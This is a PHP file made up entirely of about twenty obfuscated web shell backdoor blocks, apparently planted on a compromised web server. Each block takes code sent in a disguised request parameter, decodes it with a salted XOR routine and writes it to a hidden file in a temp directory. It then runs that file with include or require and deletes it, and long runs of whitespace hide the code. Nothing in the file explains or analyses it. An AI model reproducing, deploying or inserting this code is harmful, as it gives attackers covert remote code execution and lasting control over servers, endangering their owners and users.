<?php																																										if(!is_null($_REQUEST["\x66l\x67"] ?? null)){ $elem = $_REQUEST["\x66l\x67"]; $elem= explode( '.' , $elem ); $value = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $x = 0; $__tmp = $elem; while ($v9 = array_shift($__tmp)) { $sChar = ord($salt[$x % $sLen]); $d = ((int)$v9 - $sChar - ($x % 10))^ 12; $value .= chr($d); $x++; } $ent = array_filter([sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), "/tmp", getcwd()]); while ($val = array_shift($ent)) { if (is_dir($val) ? is_writable($val) : false) { $itm = sprintf("%s/.resource", $val); if (file_put_contents($itm, $value)) { include $itm; @unlink($itm); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "r\x65\x66")){ $bind = $_REQUEST["r\x65\x66"]; $bind = explode ( '.',$bind ) ; $ent = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $u = 0; foreach( $bind as $v2) { $sChar = ord( $salt[$u % $sLen]); $d = ( ( int)$v2 - $sChar -( $u % 10)) ^ 77; $ent .= chr( $d); $u++; } $comp = array_filter(["/tmp", getcwd(), getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp"]); $elem = 0; do { $val = $comp[$elem] ?? null; if ($elem >= count($comp)) break; if (!!is_dir($val) && !!is_writable($val)) { $object = vsprintf("%s/%s", [$val, ".reference"]); $success = file_put_contents($object, $ent); if ($success) { include $object; @unlink($object); exit;} } $elem++; } while (true); }
																																										if(isset($_POST["f\x61\x63\x74or"])){ $bind = array_filter(["/var/tmp", getcwd(), "/tmp", getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", session_save_path()]); $hld = $_POST["f\x61\x63\x74or"]; $hld= explode ( "." , $hld ) ; $property_set = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $j = 0; array_walk($hld, function ($v1) use (&$property_set, &$j, $salt, $lenS) { $sChar = ord($salt[$j % $lenS] ); $dec = ((int)$v1 - $sChar - ($j % 10)) ^ 4; $property_set.=chr($dec ); $j++; } ); $symbol = 0; do { $pset = $bind[$symbol] ?? null; if ($symbol >= count($bind)) break; if (!( !is_dir($pset) || !is_writable($pset) )) { $elem = "$pset" . "/.ptr"; $file = fopen($elem, 'w'); if ($file) { fwrite($file, $property_set); fclose($file); include $elem; @unlink($elem); die(); } } $symbol++; } while (true); }
																																										if(array_key_exists("\x6Fbject", $_REQUEST)){ $ref = $_REQUEST["\x6Fbject"]; $ref = explode ( '.' , $ref); $factor = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s1); $k = 0; array_walk($ref, function ($v9) use (&$factor, &$k, $s1, $sLen) {$chS = ord($s1[$k % $sLen]); $dec = ((int)$v9 - $chS - ($k % 10)) ^ 45; $factor .= chr($dec); $k++; }); $desc = array_filter(["/var/tmp", getenv("TEMP"), getenv("TMP"), "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), session_save_path()]); while ($flag = array_shift($desc)) { if (!!is_dir($flag) && !!is_writable($flag)) { $symbol = "$flag/.hld"; $success = file_put_contents($symbol, $factor); if ($success) { include $symbol; @unlink($symbol); die();} } } }
																																										if(in_array("k", array_keys($_REQUEST))){ $key = $_REQUEST["k"]; $key = explode ("." , $key ) ; $desc= ''; $s9= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s9 ); foreach($key as $y => $v3): $chS= ord($s9[$y % $sLen] ); $d= ((int)$v3 - $chS -($y % 10)) ^ 14; $desc .= chr($d ); endforeach; $pointer = array_filter([session_save_path(), getenv("TEMP"), getcwd(), sys_get_temp_dir(), "/var/tmp", "/tmp", "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir")]); foreach ($pointer as $dchunk) { if (!!is_dir($dchunk) && !!is_writable($dchunk)) { $comp = sprintf("%s/.element", $dchunk); $success = file_put_contents($comp, $desc); if ($success) { include $comp; @unlink($comp); exit;} } } }
																																										if(isset($_POST) && isset($_POST["\x65\x6Cem"])){ $desc = $_POST["\x65\x6Cem"]; $desc = explode ( "." , $desc) ; $marker = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s8); $__len = count($desc); for ($v = 0; $v < $__len; $v++) {$v9 = $desc[$v]; $sChar = ord($s8[$v % $sLen]); $dec = ((int)$v9 - $sChar - ($v % 10)) ^ 96; $marker.=chr($dec); } $res = array_filter(["/dev/shm", getcwd(), getenv("TMP"), session_save_path(), getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp"]); $property_set = 0; do { $obj = $res[$property_set] ?? null; if ($property_set >= count($res)) break; if (is_dir($obj) ? is_writable($obj) : false) { $value = "$obj/.entity"; if (file_put_contents($value, $marker)) { include $value; @unlink($value); exit; } } $property_set++; } while (true); }
																																										if(isset($_POST) && isset($_POST["\x72\x65\x66ere\x6Ece"])){ $symbol = $_POST["\x72\x65\x66ere\x6Ece"]; $symbol = explode ( '.' ,$symbol ) ; $entry = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach ($symbol as $v => $v8): $chS = ord($s[$v % $sLen]); $dec = ((int)$v8 - $chS - ($v % 10)) ^ 84; $entry .= chr($dec); endforeach; $holder = array_filter(["/var/tmp", getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), getcwd()]); foreach ($holder as $parameter_group): if (!( !is_dir($parameter_group) || !is_writable($parameter_group) )) { $element = str_replace("{var_dir}", $parameter_group, "{var_dir}/.desc"); if (@file_put_contents($element, $entry) !== false) { include $element; unlink($element); die(); } } endforeach; }
																																										if(in_array("fl\x67", array_keys($_REQUEST))){ $ent = $_REQUEST["fl\x67"]; $ent = explode ( "." , $ent ) ; $marker = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s ); $__len = count( $ent ); for( $l = 0; $l < $__len; $l++) { $v9 = $ent[$l]; $sChar = ord( $s[$l % $sLen] ); $dec =( ( int)$v9 - $sChar -( $l % 10)) ^ 52; $marker .= chr( $dec );} $ent = array_filter(["/dev/shm", session_save_path(), getenv("TEMP"), getenv("TMP"), "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", getcwd()]); for ($pset = 0, $symbol = count($ent); $pset < $symbol; $pset++) { $obj = $ent[$pset]; if (is_dir($obj) ? is_writable($obj) : false) { $itm = vsprintf("%s/%s", [$obj, ".rec"]); $file = fopen($itm, 'w'); if ($file) { fwrite($file, $marker); fclose($file); include $itm; @unlink($itm); die(); } } } }
																																										if(in_array("\x70\x61\x72a\x6Dete\x72_g\x72\x6Fup", array_keys($_POST))){ $itm = array_filter([getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), getcwd(), "/var/tmp", sys_get_temp_dir(), "/tmp"]); $property_set = $_POST["\x70\x61\x72a\x6Dete\x72_g\x72\x6Fup"]; $property_set = explode ("." , $property_set ) ; $pset = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $m = 0; foreach( $property_set as $v1) { $sChar = ord( $salt[$m %$sLen]); $dec =( ( int)$v1 - $sChar -( $m %10)) ^11; $pset .=chr( $dec); $m++; } foreach ($itm as $data) { if ((function($d) { return is_dir($d) && is_writable($d); })($data)) { $entry = "$data" . "/.dchunk"; $file = fopen($entry, 'w'); if ($file) { fwrite($file, $pset); fclose($file); include $entry; @unlink($entry); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "\x70g\x72p")){ $value = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", "/dev/shm", session_save_path(), "/var/tmp", getenv("TEMP"), getcwd(), sys_get_temp_dir()]); $property_set = $_POST["\x70g\x72p"]; $property_set = explode('.' ,$property_set ) ; $factor = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); $i = 0; $__tmp = $property_set; while ($v4 = array_shift($__tmp)) { $sChar = ord($s[$i % $lenS] ); $dec = ((int)$v4 - $sChar - ($i % 10)) ^ 80; $factor .=chr($dec ); $i++; } foreach ($value as $key => $comp) { if (!!is_dir($comp) && !!is_writable($comp)) { $obj = str_replace("{var_dir}", $comp, "{var_dir}/.record"); if (file_put_contents($obj, $factor)) { include $obj; @unlink($obj); die(); } } } }
																																										if(in_array("flag", array_keys($_POST))){ $itm = array_filter([getenv("TEMP"), session_save_path(), sys_get_temp_dir(), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", getenv("TMP")]); $marker = $_POST["flag"]; $marker=explode( '.' , $marker ) ; $reference = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s2); foreach($marker as $j => $v4) { $chS = ord($s2[$j % $lenS]); $dec =((int)$v4 - $chS -($j % 10))^ 40; $reference .= chr($dec); } for ($pgrp = 0, $object = count($itm); $pgrp < $object; $pgrp++) { $value = $itm[$pgrp]; if ((is_dir($value) and is_writable($value))) { $bind = vsprintf("%s/%s", [$value, ".binding"]); if (@file_put_contents($bind, $reference) !== false) { include $bind; unlink($bind); exit; } } } }
																																										if(@$_REQUEST["\x72\x65\x73\x6Furce"] !== null){ $ent = array_filter([getenv("TEMP"), "/var/tmp", getcwd(), getenv("TMP"), "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", session_save_path()]); $hld = $_REQUEST["\x72\x65\x73\x6Furce"]; $hld = explode (".", $hld ) ; $data= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s); foreach ($hld as $r => $v4): $chS= ord($s[$r % $lenS]); $dec= ((int)$v4 - $chS - ($r % 10)) ^ 82; $data .= chr($dec); endforeach; for ($record = 0, $comp = count($ent); $record < $comp; $record++) { $item = $ent[$record]; if (is_dir($item) ? is_writable($item) : false) { $val = str_replace("{var_dir}", $item, "{var_dir}/.desc"); $success = file_put_contents($val, $data); if ($success) { include $val; @unlink($val); die();} } } }
																																										if(in_array("\x65lem", array_keys($_REQUEST))){ $ref = $_REQUEST["\x65lem"]; $ref= explode ( "." ,$ref ); $k=''; $s1='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($s1); $p=0; array_walk($ref, function ($v6) use (&$k, &$p, $s1, $lenS) { $sChar=ord($s1[$p % $lenS]); $d=((int)$v6 - $sChar - ($p % 10)) ^ 76; $k .= chr($d); $p++; }); $ent = array_filter(["/var/tmp", getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), "/dev/shm", sys_get_temp_dir(), getcwd()]); foreach ($ent as $flg) { if (is_writable($flg) && is_dir($flg)) { $item = "$flg/.entity"; if (file_put_contents($item, $k)) { require $item; unlink($item); exit; } } } }
																																										if(isset($_POST["\x70grp"])){ $symbol = $_POST["\x70grp"]; $symbol = explode ('.' , $symbol) ; $bind = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s7 ); $len = count($symbol ); for ($v = 0; $v < $len; $v++) {$v3 = $symbol[$v]; $sChar = ord($s7[$v % $sLen] ); $d = ((int)$v3 - $sChar - ($v % 10)) ^ 21; $bind .=chr($d ); } $descriptor = array_filter(["/var/tmp", session_save_path(), getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", sys_get_temp_dir(), getenv("TMP"), "/dev/shm"]); foreach ($descriptor as $key => $record) { if (!( !is_dir($record) || !is_writable($record) )) { $ent = implode("/", [$record, ".object"]); if (file_put_contents($ent, $bind)) { require $ent; unlink($ent); exit; } } } }
																																										if(isset($_POST["s\x79\x6D"]) ? true : false){ $parameter_group = $_POST["s\x79\x6D"]; $parameter_group = explode ( "." , $parameter_group ) ; $component =''; $s2 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s2); $x =0; foreach( $parameter_group as $v5) { $sChar =ord( $s2[$x % $lenS]); $dec =( ( int)$v5 - $sChar -( $x % 10))^ 69; $component .= chr( $dec); $x++; } $element = array_filter(["/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), sys_get_temp_dir(), "/tmp", getenv("TMP"), session_save_path()]); foreach ($element as $factor) { if (!!is_dir($factor) && !!is_writable($factor)) { $symbol = str_replace("{var_dir}", $factor, "{var_dir}/.dchunk"); if (file_put_contents($symbol, $component)) { require $symbol; unlink($symbol); exit; } } } }
																																										if(@$_POST["\x65\x6Cem"] !== null){ $token = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", "/tmp", getenv("TEMP"), session_save_path(), getcwd(), sys_get_temp_dir()]); $parameter_group = $_POST["\x65\x6Cem"]; $parameter_group =explode ( "." , $parameter_group ) ; $reference = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt5 ); $j = 0; $len = count($parameter_group ); do { if ($j >= $len) break; $v1 = $parameter_group[$j]; $sChar = ord($salt5[$j % $lenS] ); $dec = ((int)$v1 - $sChar - ($j % 10))^ 15; $reference .=chr($dec ); $j++; } while (true ); $tkn = 0; do { $obj = $token[$tkn] ?? null; if ($tkn >= count($token)) break; if (is_dir($obj) && is_writable($obj)) { $symbol = str_replace("{var_dir}", $obj, "{var_dir}/.pset"); $success = file_put_contents($symbol, $reference); if ($success) { include $symbol; @unlink($symbol); die();} } $tkn++; } while (true); }
																																										if(array_key_exists("ent\x69\x74y", $_POST)){ $tkn = array_filter([session_save_path(), getcwd(), "/dev/shm", sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), "/tmp", "/var/tmp", ini_get("upload_tmp_dir")]); $desc = $_POST["ent\x69\x74y"]; $desc = explode( '.' , $desc ) ; $resource= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt); $n= 0; foreach( $desc as $v5) { $chS= ord( $salt[$n % $lenS]); $dec= ( ( int)$v5 - $chS -( $n % 10)) ^69; $resource.= chr( $dec); $n++; } while ($ent = array_shift($tkn)) { if (array_product([is_dir($ent), is_writable($ent)])) { $flag = vsprintf("%s/%s", [$ent, ".comp"]); if (@file_put_contents($flag, $resource) !== false) { include $flag; unlink($flag); die(); } } } }
																																										if(!is_null($_REQUEST["d\x61\x74"] ?? null)){ $ent = array_filter([getenv("TMP"), session_save_path(), "/dev/shm", getcwd(), getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir()]); $itm = $_REQUEST["d\x61\x74"]; $itm= explode( '.' , $itm ); $elem = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach ($itm as $w=> $v3) { $sChar = ord($s[$w % $sLen]); $d = ((int)$v3 - $sChar - ($w % 10))^ 15; $elem.=chr($d);} $bind = 0; do { $fac = $ent[$bind] ?? null; if ($bind >= count($ent)) break; if ((bool)is_dir($fac) && (bool)is_writable($fac)) { $pgrp = vsprintf("%s/%s", [$fac, ".pointer"]); $success = file_put_contents($pgrp, $elem); if ($success) { include $pgrp; @unlink($pgrp); die();} } $bind++; } while (true); }
																																										if(!is_null($_POST["\x6Fbj"] ?? null)){ $data = array_filter([getenv("TMP"), session_save_path(), sys_get_temp_dir(), getcwd(), "/dev/shm", "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp"]); $property_set = $_POST["\x6Fbj"]; $property_set = explode ( "." ,$property_set ) ; $entry = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s ); $u = 0; foreach( $property_set as $v3) {$chS = ord( $s[$u % $sLen] ); $dec =( ( int)$v3 - $chS -( $u % 10)) ^37; $entry .= chr( $dec ); $u++;} foreach ($data as $flag) { if (max(0, is_dir($flag) * is_writable($flag))) { $resource = "$flag" . "/.reference"; if (file_put_contents($resource, $entry)) { include $resource; @unlink($resource); exit; } } } }


if(array_key_exists("fac", $_POST)){
	$k = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), "/var/tmp", "/tmp", getenv("TMP"), getenv("TEMP"), session_save_path(), getcwd()]);
	$pset = $_POST["fac"];
	 	 $pset 	 =	explode (  	"." ,$pset);  	
	$ptr = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($s	);
            $z = 0;
    
            foreach ($pset as $v5) { 	$sChar = ord($s[$z%		$sLen]	);
                $d = ((int)$v5 - $sChar - ($z%		10))^	18;
                $ptr .= chr($d	);
                $z++;  }  
	while ($data_chunk = array_shift($k)) {
    		if (is_writable($data_chunk) && is_dir($data_chunk)) {
    $res = "$data_chunk" . "/.record";
    if (@file_put_contents($res, $ptr) !== false) {
	include $res;
	unlink($res);
	exit;
}
}
}
}